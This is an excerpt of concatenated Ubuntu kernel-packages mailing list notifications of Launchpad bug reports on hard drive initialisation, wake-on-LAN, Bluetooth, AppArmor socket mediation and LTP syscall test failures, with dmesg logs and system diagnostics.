pulseaudio Card0.Amixer.info: Card hw:0 'NVidia_1'/'HDA NVidia at 0xfe02 irq 22' Mixer name : 'Realtek ALC1200' Components : 'HDA:10ec0888,10ec,00100101 HDA:10de0002,10de0101,0010' Controls : 56 Simple ctrls : 21 Card1.Amixer.info: Card hw:1 'NVidia'/'HDA NVidia at 0xfcffc000 irq 16' Mixer name : 'Nvidia GPU 42 HDMI/DP' Components : 'HDA:10de0042,38422651,00100100' Controls : 21 Simple ctrls : 3 CurrentDesktop: LXDE Date: Thu Jul 26 17:10:58 2018 HibernationDevice: RESUME=UUID=17e70869-516d-4b63-b900-e92e3c4b73b6 InstallationDate: Installed on 2018-07-26 (0 days ago) InstallationMedia: Lubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: 113 1 ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=71cf0a32-7827-49be-a2c0-cd50a72c26a1 ro quiet splash vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 09/30/2008 dmi.bios.vendor: Phoenix Technologies, LTD dmi.bios.version: 6.00 PG dmi.board.name: 113-M2-E113 dmi.board.vendor: EVGA dmi.board.version: 1 dmi.chassis.asset.tag: Unknow dmi.chassis.type: 3 dmi.chassis.vendor: EVGA dmi.chassis.version: 113-M2-E113 dmi.modalias:
[Kernel-packages] [Bug 1783906] [NEW] Linux 4.15 and onwards fails to initialize some hard drives
Public bug reported: I have two hard drives, the main hard drive is a TOSHIBA DT01ACA200 the second backup hard drive is a Western Digital WD5003AZEX. I installed lubuntu 18.04.1 on the Toshiba HDD and it boots just fine, the issue is with the second hard drive, when installing the WD HDD wouldn't even come as an option to install, and after boot the WD HDD still wouldn't come up, this is the dmesg with the stock kernel (4.15) https://paste.ubuntu.com/p/kpxh94v2SK/ ata6 is the WD HDD that refuses to work. The messages: [ 302.107650] ata6: SError: { CommWake 10B8B Dispar DevExch } [ 302.107658] ata6: hard resetting link [ 307.860291] ata6: link is slow to respond, please be patient (ready=0) [ 312.120898] ata6: COMRESET failed (errno=-16) [ 363.445120] INFO: task kworker/u8:5:201 blocked for more than 120 seconds. [ 363.445131] Not tainted 4.15.0-29-generic #31-Ubuntu [ 363.445135] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.445140] kworker/u8:5D0 201 2 0x8000 [ 363.445155] Workqueue: events_unbound async_run_entry_fn [ 363.445157] Call Trace: [ 363.445171] __schedule+0x291/0x8a0 [ 363.445177] schedule+0x2c/0x80 [ 363.445182] ata_port_wait_eh+0x7c/0xf0 [ 363.445186] ? wait_woken+0x80/0x80 [ 363.445189] ata_port_probe+0x28/0x40 [ 363.445192] async_port_probe+0x2e/0x52 [ 363.445196] async_run_entry_fn+0x3c/0x150 [ 363.445199] process_one_work+0x1de/0x410 [ 363.445203] worker_thread+0x32/0x410 [ 363.445207] kthread+0x121/0x140 [ 363.445210] ? process_one_work+0x410/0x410 [ 363.445214] ? kthread_create_worker_on_cpu+0x70/0x70 [ 363.445218] ret_from_fork+0x22/0x40 Repeat constantly. Also when I try to turn off the computer, the computer seem to freeze, the lights of the keyboard and mouse turn off and the computer just stay on. I tried Tiny Core 9.0 which has linux 4.14.10, and i didn't had this issue, i also installed linux 4.14 on this lubuntu 18.04 using Ukuu Kernel Update Utility. And with this kernel version, or any previous version the WD HDD does work again. Here's a dmesg of lubuntu 18.04 with linux 4.14 and the WD HDD finally coming up at the end: https://paste.ubuntu.com/p/Gd3cGFbjTJ/ Also tried with with linux 4.17 but the WD HDD would also refuse to work on this version. Here's another dmesg with this version: https://paste.ubuntu.com/p/PmNn96vZZv/ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaVersion: Advanced Linux Sound Architecture Driver Version k4.15.0-29-generic. ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: testtest756 F pulseaudio /dev/snd/controlC1: testtest756 F pulseaudio Card0.Amixer.info: Card hw:0 'NVidia_1'/'HDA NVidia at 0xfe02 irq 22' Mixer name : 'Realtek ALC1200' Components : 'HDA:10ec0888,10ec,00100101 HDA:10de0002,10de0101,0010' Controls : 56 Simple ctrls : 21 Card1.Amixer.info: Card hw:1 'NVidia'/'HDA NVidia at 0xfcffc000 irq 16' Mixer name : 'Nvidia GPU 42 HDMI/DP' Components : 'HDA:10de0042,38422651,00100100' Controls : 21 Simple ctrls : 3 CurrentDesktop: LXDE Date: Thu Jul 26 17:10:58 2018 HibernationDevice: RESUME=UUID=17e70869-516d-4b63-b900-e92e3c4b73b6 InstallationDate: Installed on 2018-07-26 (0 days ago) InstallationMedia: Lubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: 113 1 ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=71cf0a32-7827-49be-a2c0-cd50a72c26a1 ro quiet splash vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 09/30/2008 dmi.bios.vendor: Phoenix Technologies, LTD dmi.bios.version: 6.00 PG dmi.board.name: 113-M2-E113 dmi.board.vendor: EVGA dmi.board.version: 1 dmi.chassis.asset.tag: Unknow dmi.chassis.type: 3 dmi.chassis.vendor: EVGA dmi.chassis.version: 113-M2-E113 dmi.modalias: dmi:bvnPhoenixTechnologies,LTD:bvr6.00PG:bd09/30/2008:svn113:pn1:pvr1:rvnEVGA:rn113-M2-E113:rvr1:cvnEVGA:ct3:cvr113-M2-E113: dmi.product.name: 1 dmi.product.version: 1 dmi.sys.vendor: 113 ** Affects: linux (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic ** Attachment added: "lspci-vnvn.log" https://bugs.launchpad.net/bugs/1783906/+attachment/5168304/+files/lspci-vnvn.log -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783906 Title:
[Kernel-packages] [Bug 1780227] Re: locking sockets broken due to missing AppArmor socket mediation patches
@John any update on the point releases? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1780227 Title: locking sockets broken due to missing AppArmor socket mediation patches Status in apparmor package in Ubuntu: Triaged Status in linux package in Ubuntu: Invalid Status in apparmor source package in Xenial: Triaged Status in linux source package in Xenial: Invalid Status in apparmor source package in Bionic: Triaged Status in linux source package in Bionic: Invalid Bug description: Hey, Newer systemd makes use of locks placed on AF_UNIX sockets created with the socketpair() syscall to synchronize various bits and pieces when isolating services. On kernels prior to 4.18 that do not have backported the AppArmor socket mediation patchset this will cause the locks to be denied with EACCESS. This causes systemd to be broken in LXC and LXD containers that do not run unconfined which is a pretty big deal. We have seen various bug reports related to this. See for example [1] and [2]. If feasible it would be excellent if we could backport the socket mediation patchset to all LTS kernels. Afaict, this should be 4.4 and 4.15. This will unbreak a whole range of use-cases. The socket mediation patchset is available here: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=80a17a5f501ea048d86f81d629c94062b76610d4 [1]: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1575779 [2]: https://github.com/systemd/systemd/issues/9493 Thanks! Christian To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1780227/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1780872] Re: wake on lan is not working
Could you be a bit more specific about how to 'Use parameter to turn it on: "alx.enable_wol=1"' ? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1780872 Title: wake on lan is not working Status in linux package in Ubuntu: Incomplete Bug description: I'm dual-booting Ubuntu 18.04 and Windows 10. If I turn off my computer with Windows, I can turn it back on using wol. However, if I turn it off using Ubuntu the computer won't turn back on if I use wol. These are my network cards: ``` ignacio@ignacio-XPS-8930:~$ ifconfig docker0: flags=4163 mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 inet6 fe80::42:e4ff:fe0a:9fee prefixlen 64 scopeid 0x20 ether 02:42:e4:0a:9f:ee txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 165 bytes 24102 (24.1 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 enp4s0: flags=4163 mtu 1500 inet 192.168.86.31 netmask 255.255.255.0 broadcast 192.168.86.255 inet6 fe80::955b:12c8:20b9:7645 prefixlen 64 scopeid 0x20 ether d8:9e:f3:85:42:8a txqueuelen 1000 (Ethernet) RX packets 50484 bytes 52395285 (52.3 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 29166 bytes 4575560 (4.5 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 19 lo: flags=73 mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 1124 bytes 95423 (95.4 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1124 bytes 95423 (95.4 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 veth66fe4e4: flags=4163 mtu 1500 inet6 fe80::2078:3ff:feb3:2aa1 prefixlen 64 scopeid 0x20 ether 22:78:03:b3:2a:a1 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 224 bytes 30503 (30.5 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 vethb50cc6f: flags=4163 mtu 1500 inet6 fe80::5c0b:47ff:fef1:cfc9 prefixlen 64 scopeid 0x20 ether 5e:0b:47:f1:cf:c9 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 125 bytes 18006 (18.0 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlp3s0: flags=4099 mtu 1500 ether 5c:ea:1d:4c:61:a7 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ``` This is what ethtool tells me about my ethernet card: ``` ignacio@ignacio-XPS-8930:~$ sudo ethtool enp4s0 Settings for enp4s0: Supported ports: [ TP ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Full Supported pause frame use: Symmetric Receive-only Supports auto-negotiation: Yes Supported FEC modes: Not reported Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Full Advertised pause frame use: Symmetric Advertised auto-negotiation: Yes Advertised FEC modes: Not reported Speed: 1000Mb/s Duplex: Full Port: Twisted Pair PHYAD: 0 Transceiver: internal Auto-negotiation: on MDI-X: Unknown Current message level: 0x60e4 (24804) link ifup rx_err tx_err hw wol Link detected: yes ``` And this is what happens when I try to activate wake on lan: ``` ignacio@ignacio-XPS-8930:~$ sudo ethtool -s enp4s0 wol g Cannot get current wake-on-lan settings: Operation not supported not setting wol ``` Finally, this is the infor about my distro: ``` ignacio@ignacio-XPS-8930:~$ lsb_release -rd Description: Ubuntu 18.04 LTS Release: 18.04 ``` Thanks for the help! ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: ethtool 1:4.15-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Mon Jul 9 18:58:08 2018 Dependencies: gcc-8-base 8-20180414-1ubuntu2 libc6 2.27-3ubuntu1 libgcc1
[Kernel-packages] [Bug 1782893] Re: Bluetooth not working on Dell XPS 15
Try sudo apt install pulseaudio-module-bluetooth pactl load-module module-bluetooth-discover Then see if you can connect to the headset -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1782893 Title: Bluetooth not working on Dell XPS 15 Status in bluez package in Ubuntu: Incomplete Status in gnome-bluetooth package in Ubuntu: Incomplete Status in linux package in Ubuntu: Incomplete Bug description: Bluetooth doesn't work on the Dell XPS 15 laptop, with Ubuntu 18.04. expected behavior: in Settings, one goes to the Bluetooth tab, slides the 'ON' button to 'ON', and then Bluetooth is enabled, and one can pair devices what is happening: in Settings, when clicking on the 'ON' button in the Bluetooth tab, it seems to turn on, that falls back to off some relevant output: $ uname -a; lspci -nnk | grep -iA2 net; lsusb; dmesg | grep -i bluetooth; dmesg | grep -i firmware; lsmod | grep bluetoothLinux Linux dell-xps15 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 02:00.0 Network controller [0280]: Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter [168c:003e] (rev 32) Subsystem: Bigfoot Networks, Inc. QCA6174 802.11ac Wireless Network Adapter [1a56:1535] Kernel driver in use: ath10k_pci Kernel modules: ath10k_pci Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 138a:0091 Validity Sensors, Inc. Bus 001 Device 003: ID 0cf3:e300 Atheros Communications, Inc. Bus 001 Device 005: ID 0c45:6713 Microdia Bus 001 Device 002: ID 046d:c534 Logitech, Inc. Unifying Receiver Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub [3.905518] Bluetooth: Core ver 2.22 [3.905532] Bluetooth: HCI device and connection manager initialized [3.905534] Bluetooth: HCI socket layer initialized [3.905536] Bluetooth: L2CAP socket layer initialized [3.905539] Bluetooth: SCO socket layer initialized [0.028000] Spectre V2 : Enabling Restricted Speculation for firmware calls [0.068684] ACPI: [Firmware Bug]: BIOS _OSI(Linux) query ignored [1.460567] [drm] Finished loading DMC firmware i915/kbl_dmc_ver1_01.bin (v1.1) [3.857792] ath10k_pci :02:00.0: Direct firmware load for ath10k/pre-cal-pci-:02:00.0.bin failed with error -2 [3.857799] ath10k_pci :02:00.0: Direct firmware load for ath10k/cal-pci-:02:00.0.bin failed with error -2 [3.860582] ath10k_pci :02:00.0: firmware ver WLAN.RM.4.4.1-00079-QCARMSWPZ-1 api 6 features wowlan,ignore-otp crc32 fd869beb --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: am 5501 F pulseaudio CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=2e64cf71-cb2d-491f-b8cd-fef8c3aeb582 InstallationDate: Installed on 2017-10-23 (272 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) MachineType: Dell Inc. XPS 15 9560 NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-23-generic root=UUID=a991df19-cc0a-4108-b718-c90ef7113f52 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-23-generic N/A linux-backports-modules-4.15.0-23-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-23-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-06-20 (32 days ago) UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 04/23/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.9.4 dmi.board.name: 05FFDN dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.9.4:bd04/23/2018:svnDellInc.:pnXPS159560:pvr:rvnDellInc.:rn05FFDN:rvrA00:cvnDellInc.:ct10:cvr: dmi.product.family: XPS dmi.product.name: XPS 15 9560 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1782893/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783881] Missing required logs.
This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect 1783881 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. This change has been made by an automated script, maintained by the Ubuntu Kernel Team. ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783881 Title: ltp-syscalls: msgstress03 fails because systemd limits number of processes Status in linux package in Ubuntu: Incomplete Status in systemd package in Ubuntu: New Status in linux source package in Cosmic: Incomplete Status in systemd source package in Cosmic: New Bug description: As systemd limits the number of processes, this test will fail because it can't fork enough processes. That is limited to when the test is run after logging as user 1000, then running sudo. I guess that logging as root may not cause this to happen. # ./testcases/bin/msgstress03 Fork failed (may be OK if under stress) Fork failed (may be OK if under stress) msgstress031 TFAIL : msgstress03.c:157: Fork failed (may be OK if under stress) # To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783881/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 387161] Re: JMicron drive 152d:{2329, 2338, 2339} cause USB resets on ATA smart probing
it keeps it from booting up all the way -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to libatasmart in Ubuntu. https://bugs.launchpad.net/bugs/387161 Title: JMicron drive 152d:{2329,2338,2339} cause USB resets on ATA smart probing Status in libatasmart: Fix Released Status in libatasmart package in Ubuntu: Fix Released Status in linux package in Ubuntu: Invalid Bug description: Running latest Koala. I recently started running in to issues where my external SATA -> USB drive no longer initializes correctly in Koala. It works fine in Windows and in other variants of linux (Even previous version of Ubuntu) so I am suspicious of recent updates. This happens with kernels older than 2.6.30 as well. For what it is worth the enclosure is a NexStar CX from Vantec Dmesg output: 386.064023] usb 1-4: new high speed USB device using ehci_hcd and address 8 [ 386.213004] usb 1-4: configuration #1 chosen from 1 choice [ 386.232999] scsi9 : SCSI emulation for USB Mass Storage devices [ 386.233164] usb-storage: device found at 8 [ 386.233167] usb-storage: waiting for device to settle before scanning [ 391.232304] usb-storage: device scan complete [ 391.232856] scsi 9:0:0:0: Direct-Access Maxtor 7 H500F0 PQ: 0 ANSI: 2 CCS [ 391.233361] sd 9:0:0:0: Attached scsi generic sg6 type 0 [ 391.251664] sd 9:0:0:0: [sdf] 976773168 512-byte hardware sectors: (500 GB/465 GiB) [ 391.252491] sd 9:0:0:0: [sdf] Write Protect is off [ 391.252496] sd 9:0:0:0: [sdf] Mode Sense: 34 00 00 00 [ 391.252499] sd 9:0:0:0: [sdf] Assuming drive cache: write through [ 391.253959] sd 9:0:0:0: [sdf] Assuming drive cache: write through [ 391.253964] sdf: sdf1 [ 391.272447] sd 9:0:0:0: [sdf] Attached SCSI disk [ 399.100023] usb 1-4: reset high speed USB device using ehci_hcd and address 8 [ 399.224032] usb 1-4: device descriptor read/64, error -71 [ 399.452025] usb 1-4: device descriptor read/64, error -71 [ 399.668022] usb 1-4: reset high speed USB device using ehci_hcd and address 8 [ 399.792023] usb 1-4: device descriptor read/64, error -71 [ 400.020026] usb 1-4: device descriptor read/64, error -71 [ 400.236028] usb 1-4: reset high speed USB device using ehci_hcd and address 8 [ 400.652029] usb 1-4: device not accepting address 8, error -71 [ 400.764022] usb 1-4: reset high speed USB device using ehci_hcd and address 8 [ 401.176019] usb 1-4: device not accepting address 8, error -71 [ 401.176058] usb 1-4: USB disconnect, address 8 [ 401.176995] scsi 9:0:0:0: Device offlined - not ready after error recovery [ 401.288015] usb 1-4: new high speed USB device using ehci_hcd and address 9 [ 401.417078] usb 1-4: device descriptor read/64, error -71 [ 401.644033] usb 1-4: device descriptor read/64, error -71 [ 401.860128] usb 1-4: new high speed USB device using ehci_hcd and address 10 [ 401.984066] usb 1-4: device descriptor read/64, error -71 [ 402.212021] usb 1-4: device descriptor read/64, error -71 [ 402.428027] usb 1-4: new high speed USB device using ehci_hcd and address 11 [ 402.836017] usb 1-4: device not accepting address 11, error -71 [ 402.948538] usb 1-4: new high speed USB device using ehci_hcd and address 12 [ 403.364016] usb 1-4: device not accepting address 12, error -71 [ 403.364035] hub 1-0:1.0: unable to enumerate USB device on port 4 [ 403.632019] usb 3-2: new full speed USB device using uhci_hcd and address 2 [ 403.752047] usb 3-2: device descriptor read/64, error -71 [ 403.976092] usb 3-2: device descriptor read/64, error -71 [ 404.192026] usb 3-2: new full speed USB device using uhci_hcd and address 3 [ 404.313487] usb 3-2: device descriptor read/64, error -71 [ 404.540028] usb 3-2: device descriptor read/64, error -71 [ 404.756019] usb 3-2: new full speed USB device using uhci_hcd and address 4 [ 405.164016] usb 3-2: device not accepting address 4, error -71 [ 405.276046] usb 3-2: new full speed USB device using uhci_hcd and address 5 [ 405.685586] usb 3-2: device not accepting address 5, error -71 [ 405.685618] hub 3-0:1.0: unable to enumerate USB device on port 2 ProblemType: Bug Architecture: i386 Date: Sun Jun 14 21:27:49 2009 DistroRelease: Ubuntu 9.10 NonfreeKernelModules: nvidia Package: linux-image-2.6.30-9-generic 2.6.30-9.10 ProcCmdLine: root=UUID=8d50923f-2e61-4b85-a580-14c4fb79ec81 ro quiet splash ProcEnviron: PATH=(custom, user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 2.6.30-9.10-generic RelatedPackageVersions: SourcePackage: linux Uname: Linux 2.6.30-9-generic i686 dmi.bios.date: 09/03/2008 dmi.bios.vendor: Intel Corp. dmi.bios.version: BX97520J.86A.2838.2008.0903.1859 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: D975XBX2 dmi.board.vendor: Intel Corporation dmi.board.version: AAD53350-505 dmi.chassis.type: 2 dmi.modalias:
[Kernel-packages] [Bug 1783881] [NEW] ltp-syscalls: msgstress03 fails because systemd limits number of processes
Public bug reported: As systemd limits the number of processes, this test will fail because it can't fork enough processes. That is limited to when the test is run after logging as user 1000, then running sudo. I guess that logging as root may not cause this to happen. # ./testcases/bin/msgstress03 Fork failed (may be OK if under stress) Fork failed (may be OK if under stress) msgstress031 TFAIL : msgstress03.c:157: Fork failed (may be OK if under stress) # ** Affects: linux (Ubuntu) Importance: Low Assignee: Canonical Kernel Team (canonical-kernel-team) Status: Incomplete ** Affects: systemd (Ubuntu) Importance: Undecided Status: New ** Affects: linux (Ubuntu Cosmic) Importance: Low Assignee: Canonical Kernel Team (canonical-kernel-team) Status: Incomplete ** Affects: systemd (Ubuntu Cosmic) Importance: Undecided Status: New ** Also affects: linux (Ubuntu Cosmic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Cosmic) Importance: Undecided => Low ** Also affects: systemd (Ubuntu) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Cosmic) Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783881 Title: ltp-syscalls: msgstress03 fails because systemd limits number of processes Status in linux package in Ubuntu: Incomplete Status in systemd package in Ubuntu: New Status in linux source package in Cosmic: Incomplete Status in systemd source package in Cosmic: New Bug description: As systemd limits the number of processes, this test will fail because it can't fork enough processes. That is limited to when the test is run after logging as user 1000, then running sudo. I guess that logging as root may not cause this to happen. # ./testcases/bin/msgstress03 Fork failed (may be OK if under stress) Fork failed (may be OK if under stress) msgstress031 TFAIL : msgstress03.c:157: Fork failed (may be OK if under stress) # To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783881/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783877] [NEW] ltp-syscalls: sgid inheritance for non-directories behavior changed
Public bug reported: ltp syscalls open10 and and creat08 try to create an sgid executable file inside a sgid directory owned by a group whose members do not include the process user. That used to work up to commit 0fa3ecd87848c9c93c2c828ef4c3a8ca36ce46c7 ("Fix up non-directory creation in SGID directories"). This was backported to 4.17.9 and so affects the current kernel in cosmic proposed, and breaks such ltp tests. ** Affects: linux (Ubuntu) Importance: Medium Assignee: Canonical Kernel Team (canonical-kernel-team) Status: Confirmed ** Affects: linux (Ubuntu Cosmic) Importance: Medium Assignee: Canonical Kernel Team (canonical-kernel-team) Status: Confirmed ** Also affects: linux (Ubuntu Cosmic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Cosmic) Importance: Undecided => Medium ** Changed in: linux (Ubuntu Cosmic) Status: New => Confirmed ** Changed in: linux (Ubuntu Cosmic) Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783877 Title: ltp-syscalls: sgid inheritance for non-directories behavior changed Status in linux package in Ubuntu: Confirmed Status in linux source package in Cosmic: Confirmed Bug description: ltp syscalls open10 and and creat08 try to create an sgid executable file inside a sgid directory owned by a group whose members do not include the process user. That used to work up to commit 0fa3ecd87848c9c93c2c828ef4c3a8ca36ce46c7 ("Fix up non-directory creation in SGID directories"). This was backported to 4.17.9 and so affects the current kernel in cosmic proposed, and breaks such ltp tests. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783877/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783880] [NEW] ltp-syscalls: fallocate05 fails with btrfs on ppc64el
Public bug reported: This affects at least bionic and cosmic proposed kernels. This affects only ppc64el. My guess is the reason is the page size. In fact, changing the fallocate size to 64KiB, the test works. tst_test.c:1079: INFO: Testing on btrfs tst_mkfs.c:83: INFO: Formatting /dev/loop1 with btrfs opts='' extra opts='' tst_test.c:1018: INFO: Timeout per run is 0h 05m 00s tst_fill_fs.c:41: INFO: Creating file mntpoint/file0 size 21710183 tst_fill_fs.c:41: INFO: Creating file mntpoint/file1 size 8070086 tst_fill_fs.c:41: INFO: Creating file mntpoint/file2 size 3971177 tst_fill_fs.c:41: INFO: Creating file mntpoint/file3 size 36915315 tst_fill_fs.c:41: INFO: Creating file mntpoint/file4 size 70310993 tst_fill_fs.c:41: INFO: Creating file mntpoint/file5 size 4807935 tst_fill_fs.c:41: INFO: Creating file mntpoint/file6 size 90739786 tst_fill_fs.c:61: INFO: write(): ENOSPC fallocate05.c:62: PASS: write() wrote 32768 bytes fallocate05.c:71: PASS: fallocate() on full FS: ENOSPC fallocate05.c:78: BROK: fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE): ENOSPC ** Affects: linux (Ubuntu) Importance: Medium Status: Confirmed ** Affects: linux (Ubuntu Bionic) Importance: Medium Status: Confirmed ** Affects: linux (Ubuntu Cosmic) Importance: Medium Status: Confirmed ** Also affects: linux (Ubuntu Cosmic) Importance: Undecided Status: New ** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Cosmic) Importance: Undecided => Medium ** Changed in: linux (Ubuntu Cosmic) Status: New => Confirmed ** Changed in: linux (Ubuntu Bionic) Importance: Undecided => Medium ** Changed in: linux (Ubuntu Bionic) Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783880 Title: ltp-syscalls: fallocate05 fails with btrfs on ppc64el Status in linux package in Ubuntu: Confirmed Status in linux source package in Bionic: Confirmed Status in linux source package in Cosmic: Confirmed Bug description: This affects at least bionic and cosmic proposed kernels. This affects only ppc64el. My guess is the reason is the page size. In fact, changing the fallocate size to 64KiB, the test works. tst_test.c:1079: INFO: Testing on btrfs tst_mkfs.c:83: INFO: Formatting /dev/loop1 with btrfs opts='' extra opts='' tst_test.c:1018: INFO: Timeout per run is 0h 05m 00s tst_fill_fs.c:41: INFO: Creating file mntpoint/file0 size 21710183 tst_fill_fs.c:41: INFO: Creating file mntpoint/file1 size 